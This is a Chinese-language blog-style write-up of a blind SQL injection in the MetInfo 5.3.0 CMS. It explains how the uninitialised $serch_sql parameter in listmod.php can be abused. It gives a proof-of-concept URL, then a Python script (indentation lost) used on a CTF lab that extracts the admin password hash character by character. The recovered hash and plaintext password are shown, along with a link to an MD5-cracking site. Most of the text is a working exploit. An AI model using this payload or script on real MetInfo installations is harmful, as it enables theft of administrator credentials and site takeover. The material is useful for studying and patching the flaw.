MetInfo5.3.0 版本SQL注入。在本地搭建环境,分析如下:
这个漏洞主要是listmod.php,代码的最后一行$serch_sql
怎么做能让这个没有在上面给初始化,这就是我们要做的。
通过调试:
我们的知 控制它是否初始化的另一个变量为imgproduct
当这个变量非search的任意字符的时候,导致serch_sql 不能进行初始化
构造POC:
http://localhost/MetInfo5.3/news/news.php?lang=cn&class2=5&serch_sql=as a join met_admin_table as b where if(ascii(substr(b.admin_id,1,1))=97,1,0) limit 0,1– sd&imgproduct=xxxx
这样一来 比sql注入更为简单了97那个位置,然后在判断第二位,再穷聚,自然就爆表了。
实例
实验吧综合渗透metinfo。
本题环境就是这个,根据POC写如下脚本:
# -*- coding: utf8 -*-
import httplib
import requests
import urllib
import string
payloads = 'abcdefghijklmnopqrstuvwxyz0123456789'
url="http://localhost:8080/MetInfo_v5.3.0/"
password = ''
for p in range(1, 33):
for num in payloads:
num = ord(num)
poc = "http://localhost:8080/MetInfo_v5.3.0/news/news.php?lang=cn&class2=5&serch_sql=as a join met_admin_table as b where if(ascii(substr(b.admin_pass,"+str(p)+",1))="+str(num)+",1,0) limit 0,1-- sd&imgproduct=xxxx"
#print poc
#result = urllib.request.urlopen(poc).txt
conn = requests.get(poc)
res = conn.content
res = str(res)
if res.find(r"为什么企业要建多国语言网站")>0:
password = password + chr(num)
print password
break
测试效果如下:
根据如上脚本跑出账户密码为:
acd131fce58f4d6f86e4a503a303fa4e simpleware123
这个要收费,附一个MD5解密的免费网址:http://www.pdtools.net/tools/md5.jsp